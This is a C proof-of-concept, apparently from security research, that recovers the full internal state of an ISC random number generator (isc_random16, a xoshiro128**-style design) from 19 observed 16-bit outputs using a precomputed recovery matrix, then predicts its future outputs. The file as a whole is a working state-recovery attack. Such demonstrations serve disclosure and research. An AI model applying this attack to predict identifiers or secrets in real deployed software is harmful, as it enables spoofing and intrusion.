#include #include #include #include #include static uint32_t seed[4] = { 0 }; static void seed_init(void) { int fd = open("/dev/urandom",O_RDONLY); if (fd == -1) abort(); for (;;) { if (read(fd,seed,sizeof seed) != sizeof seed) abort(); if (seed[0] != 0) break; if (seed[1] != 0) break; if (seed[2] != 0) break; if (seed[3] != 0) break; } close(fd); } static uint32_t rotl(const uint32_t x, int k) { return (x << k) | (x >> (32 - k)); } static uint32_t next(void) { uint32_t result_starstar, t; result_starstar = rotl(seed[0] * 5, 7) * 9; t = seed[1] << 9; seed[2] ^= seed[0]; seed[3] ^= seed[1]; seed[1] ^= seed[2]; seed[0] ^= seed[3]; seed[2] ^= t; seed[3] = rotl(seed[3], 11); return result_starstar; } static uint16_t isc_random16(void) { return (uint16_t)next(); } #define SAMPLES 19 // could get below 8 with more work uint16_t samples[SAMPLES]; uint16_t attack[SAMPLES]; uint32_t recoverymatrix[128*4] = { 0xfa6cd401,0xf2bb5802,0x93201204,0xd054a608,0x67a31210,0xe1275620,0xdb2bc440,0xf50b2680,0x91000700,0xa3107200,0x5b50c800,0x61b4c800,0x880c3200,0x00076200,0x16094400,0x530ac000,0xb101ae00,0xd924d600,0x394a5c00,0xfbe54200,0x62a07600,0xa3379200,0x04108e00,0xe722c600,0x20222000,0x04263a00,0xb3080200,0xb7282e00,0x39110c00,0xf6001800,0xf10b2400,0xba38b200,0x011c4800,0x92091400,0x8d441600,0xd1826200,0xfe6c7000,0xcac3b400,0x4bb79600,0xa0038400,0xb720d800,0x6c3c4600,0xb82f3000,0x70754200,0x808b0c00,0xe22d6600,0x7b692400,0x2696e400,0x993b5000,0x2171d200,0x5f9e8000,0x78181000,0xf8224200,0xb32dd600,0x1961d000,0xf3e5d400,0x21aed000,0x6a375200,0x4d0c0400,0x04050400,0x191e5000,0x893c4200,0x111e2e00,0x93392a00,0xb91d9e00,0x011fba00,0x89347400,0x015ee400,0xeaaf9000,0xda130000,0x6a295000,0x2830da00,0x9824ae00,0xa12c7000,0xab033200,0x037bc200,0x5bdf0000,0x28bd5000,0x70179400,0xe52aa600,0x3b3afa00,0x800bc600,0xf2737800,0x5284de00,0x6806e000,0x0a446400,0x07864200,0x22241000,0x0335ec00,0x090d2000,0xa33d5600,0xe236f800,0x29338c00,0x2828e200,0x5b18e400,0x5016c400,0xa2280200,0x0d0efc00,0xb1357200,0x0a249600,0x131a2800,0x202f8600,0xb00e7400,0x29739400,0x42968000,0x42370400,0x2e202600,0xfe1b2a00,0x63298000,0x1931c600,0x90334400,0x1e0d0e00,0x02090200,0xd8264600,0x1b0a8400,0x6f3ffe00,0x420c0600,0xb3288000,0x6020c200,0x6d1b2600,0x92040200,0xf3235600,0x3918c400,0x222a5400,0xe9141200,0x6922d200,0xf1398400,0xb22ed200, 0xff747841,0x08ec0801,0x0df1b000,0x6bac64c0,0xb1061441,0x0424d0c1,0x901e9601,0x95580180,0xcc0c82c0,0xc7165a82,0x5e109486,0xfa67fa4d,0x24b4d458,0x6971a630,0x62ac44a0,0xab8a0281,0x37012b00,0xfa23d381,0xb64ffa83,0xeed88045,0xdf907ac9,0x610004d1,0x8667a0a0,0x529990c1,0xe38a9001,0xdc60f441,0xf02f8200,0x081b0743,0x6188e0c6,0x0661cb4c,0x081146d9,0x1b2954b1,0xbe468c60,0x14811681,0xfb2269c0,0x47424400,0xd348da43,0x6cf3e287,0xf7d3398d,0xaf935059,0x615c7033,0x2cea1ee5,0x7f82d6c9,0x59bd3110,0x3e4468a0,0x8178b682,0x752d6047,0x2374428c,0xce0ad059,0x331ff231,0xee2fc660,0xc8bc5001,0x10111700,0x7b5adac1,0x91a5e603,0x46f88005,0x06a9d249,0x7f3cd051,0x363382e0,0x140800c0,0xa49dc4c1,0xc6a185c1,0x5d0c2cc0,0x38732082,0x29ccf084,0x9fca4a48,0x8b8d10d0,0xbb03a4e0,0xd4121041,0xc0290280,0xb89c4581,0xc7357641,0x6174a2c2,0x901b7a06,0x4353080d,0x26b63258,0xe12ee630,0x7c331621,0xda1046c0,0x1d440441,0x8a5e7641,0x98091241,0xae60d681,0x68ec0cc0,0x2fbbc041,0x13082080,0x7a31c600,0x30b95200,0x2d0c3881,0x78000e40,0x24a4c441,0x1e4af083,0x46b49085,0x6b23d009,0x0e388090,0x740a06a0,0x42b51681,0xb8f167c0,0x476b5601,0x0a214041,0xdd492242,0x20e01cc5,0x8fbfc2c9,0x4534f091,0xc6374220,0x38190201,0xfc3f8881,0x213bab00,0xa6959600,0xa4299680,0x003d1080,0x4d272080,0xb8390400,0x92810200,0xfeb59081,0xc25875c1,0x00250280,0xc69d9200,0x48011641,0x300e0ec0,0x98310200,0x3e10d4c1,0x7e858480,0x1a085281,0xbcbcd6c1,0x363dd001,0xeebc9680,0x8a185241, 0x36ed1882,0x0a1b0e87,0x9b76328c,0xc0dce698,0xfe2ed2f1,0x0bbf1061,0x2f919680,0x505d29c0,0xe9040340,0x969730c0,0x9944cec2,0x7d398445,0x08382048,0x20574690,0x4e9104a0,0x689e5480,0x975e0cc0,0xb5bf9741,0x98bfbe40,0x119946c3,0x97fbb4c5,0x083fd409,0xeb068890,0x39ab84e1,0x56326641,0x85fdfb81,0x331c01c0,0x076209c1,0xdf00c841,0x3f1fbb80,0xf9193241,0x6fa7d683,0x0b140a44,0x8e199488,0x652a2951,0x24de6e60,0xcb833b80,0xf9a86280,0x64b7fc81,0xd72dd0c1,0xa9f13843,0x102c4205,0x5934a209,0xb8500410,0x4d85a620,0x6eaf9281,0x35e6d6c3,0x56d70b84,0x13b9d608,0xb1fb92d1,0xcf8480e0,0x1a2d4401,0x40b21201,0xdeb8b0c1,0x37ac5440,0x79ddd2c1,0x70399601,0xe0b61641,0xb91c02c0,0x8c1d0600,0x9b835240,0xeb845641,0xbd508a40,0xea43aec0,0xbf684a43,0x0c94b844,0xf23a7648,0xf74ae650,0xb636d2a1,0xda030280,0x70b05481,0x5cb51601,0x1c6a0e02,0x62aff647,0x2889f0cd,0xd564c4d8,0xc7c500f0,0x50301421,0xe0368201,0xa050ab41,0x12f53ec1,0xc09b9000,0xd2f81c83,0x428c9e84,0x409b2649,0x8a5d6610,0x3f9446e0,0x18214681,0x67d71ac1,0x714b0a40,0x218054c1,0xebf13881,0x432fc841,0x0db3a601,0x8904e6c0,0x2c12c000,0xd0244681,0x96ed7940,0xd4ea3a41,0xca1d8480,0x87488ac2,0x88278005,0x8199b409,0x43efd051,0x369c86a0,0x622f0080,0x0e4a0d80,0x225d8b80,0x2121c0c1,0xe1a59640,0x389b1600,0x72118580,0xf2190680,0x5a865400,0x8126c0c0,0x0efc3dc1,0xfa100080,0xd924c4c1,0xe8849001,0x15550f40,0x0a100280,0x0bae10c1,0xbb94d041,0xfaa71481,0x2b2d4041,0x21b39441,0xa339c441,0x6aaf9481, 0xe73b0040,0xd8620403,0x9cf10404,0x61a800c8,0x650a0251,0x143a02e1,0x08220441,0x0d480100,0x1c0101c0,0x8f6a0683,0x96d90684,0xfbea0249,0xe7b10650,0xbf600020,0x66a10080,0x23ab06c1,0x5f1d0180,0x02330281,0x2e0f0683,0xfe590a45,0xde9e16c9,0xbb0220d1,0x82704ca0,0x528b96c1,0x63812601,0xb4684641,0x282d8400,0x18410543,0xf16b02c6,0xdff5054c,0x1b1a00d9,0x9d7206b1,0x3ac10460,0x55b30081,0xe91d03c0,0x4b480600,0x6b350043,0x6c020c87,0xd646158d,0xfc812259,0x2f534c33,0xb0f394e5,0xe78a20c9,0x79a34310,0x2e4082a0,0x011b0282,0x65b30a47,0x426c148c,0x042b2659,0x2f134431,0xfe398260,0x08b10401,0xf0380700,0xfb5304c1,0x99ca0603,0x9e790e05,0x0fb21049,0x7d332251,0x323044e0,0x4c0880c0,0x34a200c1,0xf6b201c1,0x4d1106c0,0xb0310882,0x31231684,0xde592248,0xd88042d0,0x2d0186e0,0xc81a0441,0x40330480,0x189e0181,0x0f220641,0x79730ec2,0x18311206,0x5b5b260d,0x76a94658,0xf9398230,0xbc3b0421,0xc23a00c0,0xfd460641,0xda430041,0xd02b0441,0x2e330e81,0x606810c0,0x2ea22041,0x41084080,0xa6298200,0x60900400,0xe51f0281,0xf8190640,0xf4b10241,0x5e020e83,0x5e3b1285,0x6a3a2209,0xc4394690,0x200184a0,0xc2b90481,0x28f207c0,0x4f670401,0x52010441,0x8d510842,0xf8ea14c5,0x17a320c9,0x5d3b4291,0x96218620,0x68320401,0x9c060481,0xb1200700,0x3ea10400,0xbc380280,0x90220280,0xad310480,0x28200200,0x129b0600,0x369b0681,0x425301c1,0x40200680,0x5eb00200,0xc0080641,0x800404c0,0x48390600,0x7e1b02c1,0x66b00680,0x1a120481,0x6cb000c1,0x3e220001,0xf6910080,0x12030441, } ; uint32_t secret[4]; int main() { seed_init(); printf("original secret: %08x %08x %08x %08x\n",seed[0],seed[1],seed[2],seed[3]); for (int i = 0;i < SAMPLES;++i) samples[i] = isc_random16(); printf("outputs sent to attacker:"); for (int i = 0;i < SAMPLES;++i) printf(" %04x",samples[i]); printf("\n"); for (int j = 0;j < 4;++j) secret[j] = seed[j]; printf("new secret: %08x %08x %08x %08x\n",secret[0],secret[1],secret[2],secret[3]); printf("more outputs not sent to attacker:"); for (int i = 0;i < 30;++i) printf(" %04x",isc_random16()); printf("\n"); for (int j = 0;j < 4;++j) seed[j] = 0; for (int i = 0;i < SAMPLES;++i) attack[i] = ((samples[i]*36409)>>7)*205; int outpos = 0; for (int i = 0;i < SAMPLES;++i) for (int j = 0;j < 9;++j) { if (i < 12 || (i < 15 && j >= 6) || (i <= 15 && j == 6) || (i < 18 && j == 7) || j == 0) { if (1&(attack[i]>>j)) for (int s = 0;s < 4;++s) seed[s] ^= recoverymatrix[s*128+outpos]; ++outpos; } } printf("attacker computes: %08x %08x %08x %08x\n",seed[0],seed[1],seed[2],seed[3]); for (int i = 0;i < SAMPLES;++i) next(); printf("and also computes: %08x %08x %08x %08x\n",seed[0],seed[1],seed[2],seed[3]); printf("and also computes further outputs:"); for (int i = 0;i < 30;++i) printf(" %04x",isc_random16()); printf("\n"); return 0; }